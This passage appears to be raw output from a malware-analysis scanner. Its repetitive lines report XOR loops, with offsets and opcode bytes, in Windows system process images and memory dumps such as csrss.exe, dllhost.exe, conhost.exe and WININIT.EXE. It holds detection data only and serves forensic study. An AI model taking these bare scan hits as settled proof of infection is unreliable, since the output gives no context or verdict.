in file "csrss.exe" at offset 2129953; code bytes = 33c1 Found XOR loop in file "csrss.exe" at offset 2192399; code bytes = 33c1 Found XOR loop in file "csrss.exe" at offset 2301347; code bytes = 33c1 Found XOR loop in file "csrss.exe" at offset 2321386; code bytes = 33c1 Found XOR loop in file "csrss.exe" at offset 2325886; code bytes = 33c1 Found XOR loop in file "csrss.exe" at offset 2569619; code bytes = 33c1 Found XOR loop in file "csrss.exe" at offset 405296; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 790229; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 794439; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 796914; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 858494; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 859887; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 865552; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 924495; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 989874; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 1072842; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 1084567; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 1096748; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 1139243; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 1214968; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 1347529; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 1498783; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 1570409; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 1588937; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 1749115; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 1766853; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 1770651; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 1776921; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 1827864; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 1916213; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 2055758; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 2142145; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 2258916; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 2337935; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 2372277; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 2460071; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 2555427; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 2633565; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 2780383; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 2807169; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 2819164; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 2829041; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 2875895; code bytes = 8030 Found XOR loop in file "csrss.exe" at offset 2934938; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 609623; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 805390; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 902796; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 962648; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 967317; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 968852; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 993386; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 1033116; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 1065215; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 1122770; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 1166968; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 1176051; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 1203738; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 1310600; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 1447096; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 1511923; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 1520937; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 1529409; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 1611062; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 1786332; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 1899608; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 1965408; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2020041; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2025250; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2143782; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2206618; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2249027; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2287811; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2313216; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2323515; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2558997; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2582880; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2656172; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2675700; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2715356; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2748597; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2784784; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2885632; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2908667; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2945842; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 964188; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 966122; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1030607; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1115468; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1129305; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1188837; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1314913; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1328174; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1463964; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1523652; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1548928; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1578045; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1607556; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1614384; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1622404; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1861596; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1974654; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1990242; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 2040300; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 2129953; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 2192399; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 2301347; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 2321386; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 2325886; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 2569619; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 405296; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 790229; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 794439; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 796914; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 858494; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 859887; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 865552; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 924495; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 989874; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1072842; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1084567; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1096748; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1139243; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1214968; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1347529; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1498783; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1570409; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1588937; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1749115; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1766853; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1770651; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1776921; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1827864; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1916213; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2055758; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2142145; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2258916; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2337935; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2372277; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2460071; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2555427; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2633565; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2780383; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2807169; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2819164; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2829041; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2875895; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 2934938; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 609623; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 805390; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 902796; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 962648; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 967317; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 968852; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 993386; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 1033116; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 1065215; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 1122770; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 1166968; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 1176051; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 1203738; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 1310600; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 1447096; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 1511923; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 1520937; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 1529409; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 1611062; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 1786332; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 1899608; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 1965408; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 2020041; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 2025250; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 2143782; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 2206618; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 2249027; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 2287811; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 2313216; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 2323515; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 2558997; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 2582880; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 2656172; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 2675700; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 2715356; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 2748597; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 2784784; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 2885632; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 2908667; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 2945842; code bytes = 30d0 Found XOR loop in file "conhost.exe" at offset 964188; code bytes = 33c1 Found XOR loop in file "conhost.exe" at offset 966122; code bytes = 33c1 Found XOR loop in file "conhost.exe" at offset 1030607; code bytes = 33c1 Found XOR loop in file "conhost.exe" at offset 1115468; code bytes = 33c1 Found XOR loop in file "conhost.exe" at offset 1129305; code bytes = 33c1 Found XOR loop in file "conhost.exe" at offset 1188837; code bytes = 33c1 Found XOR loop in file "conhost.exe" at offset 1314913; code bytes = 33c1 Found XOR loop in file "conhost.exe" at offset 1328174; code bytes = 33c1 Found XOR loop in file "conhost.exe" at offset 1463964; code bytes = 33c1 Found XOR loop in file "conhost.exe" at offset 1523652; code bytes = 33c1 Found XOR loop in file "conhost.exe" at offset 1548928; code bytes = 33c1 Found XOR loop in file "conhost.exe" at offset 1578045; code bytes = 33c1 Found XOR loop in file "conhost.exe" at offset 1607556; code bytes = 33c1 Found XOR loop in file "conhost.exe" at offset 1614384; code bytes = 33c1 Found XOR loop in file "conhost.exe" at offset 1622404; code bytes = 33c1 Found XOR loop in file "conhost.exe" at offset 1861596; code bytes = 33c1 Found XOR loop in file "conhost.exe" at offset 1974654; code bytes = 33c1 Found XOR loop in file "conhost.exe" at offset 1990242; code bytes = 33c1 Found XOR loop in file "conhost.exe" at offset 2040300; code bytes = 33c1 Found XOR loop in file "conhost.exe" at offset 2129953; code bytes = 33c1 Found XOR loop in file "conhost.exe" at offset 2192399; code bytes = 33c1 Found XOR loop in file "conhost.exe" at offset 2301347; code bytes = 33c1 Found XOR loop in file "conhost.exe" at offset 2321386; code bytes = 33c1 Found XOR loop in file "conhost.exe" at offset 2325886; code bytes = 33c1 Found XOR loop in file "conhost.exe" at offset 2569619; code bytes = 33c1 Found XOR loop in file "conhost.exe" at offset 405296; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 790229; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 794439; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 796914; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 858494; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 859887; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 865552; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 924495; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 989874; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 1072842; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 1084567; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 1096748; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 1139243; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 1214968; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 1347529; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 1498783; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 1570409; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 1588937; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 1749115; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 1766853; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 1770651; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 1776921; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 1827864; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 1916213; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 2055758; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 2142145; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 2258916; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 2337935; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 2372277; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 2460071; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 2555427; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 2633565; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 2780383; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 2807169; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 2819164; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 2829041; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 2875895; code bytes = 8030 Found XOR loop in file "conhost.exe" at offset 2934938; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 609623; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 805390; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 902796; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 962648; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 967317; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 968852; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 993386; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1033116; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1065215; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1122770; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1166968; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1176051; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1203738; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1310600; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1447096; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1511923; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1520937; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1529409; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1611062; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1786332; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1899608; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1965408; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2020041; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2025250; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2143782; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2206618; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2249027; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2287811; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2313216; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2323515; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2558997; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2582880; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2656172; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2675700; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2715356; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2748597; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2784784; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2885632; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2908667; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2945842; code bytes = 30d0 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 964188; code bytes = 33c1 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 966122; code bytes = 33c1 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1030607; code bytes = 33c1 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1115468; code bytes = 33c1 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1129305; code bytes = 33c1 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1188837; code bytes = 33c1 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1314913; code bytes = 33c1 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1328174; code bytes = 33c1 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1463964; code bytes = 33c1 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1523652; code bytes = 33c1 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1548928; code bytes = 33c1 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1578045; code bytes = 33c1 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1607556; code bytes = 33c1 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1614384; code bytes = 33c1 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1622404; code bytes = 33c1 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1861596; code bytes = 33c1 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1974654; code bytes = 33c1 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1990242; code bytes = 33c1 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2040300; code bytes = 33c1 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2129953; code bytes = 33c1 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2192399; code bytes = 33c1 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2301347; code bytes = 33c1 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2321386; code bytes = 33c1 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2325886; code bytes = 33c1 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2569619; code bytes = 33c1 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 405296; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 790229; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 794439; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 796914; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 858494; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 859887; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 865552; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 924495; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 989874; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1072842; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1084567; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1096748; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1139243; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1214968; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1347529; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1498783; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1570409; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1588937; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1749115; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1766853; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1770651; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1776921; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1827864; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 1916213; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2055758; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2142145; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2258916; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2337935; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2372277; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2460071; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2555427; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2633565; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2780383; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2807169; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2819164; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2829041; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2875895; code bytes = 8030 Found XOR loop in file "csrss.exe.6A9E877A.bin" at offset 2934938; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 609623; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 805390; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 902796; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 962648; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 967317; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 968852; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 993386; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1033116; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1065215; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1122770; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1166968; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1176051; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1203738; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1310600; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1447096; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1511923; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1520937; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1529409; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1611062; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1786332; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1899608; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1965408; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2020041; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2025250; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2143782; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2206618; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2249027; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2287811; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2313216; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2323515; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2558997; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2582880; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2656172; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2675700; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2715356; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2748597; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2784784; code bytes = 30d0 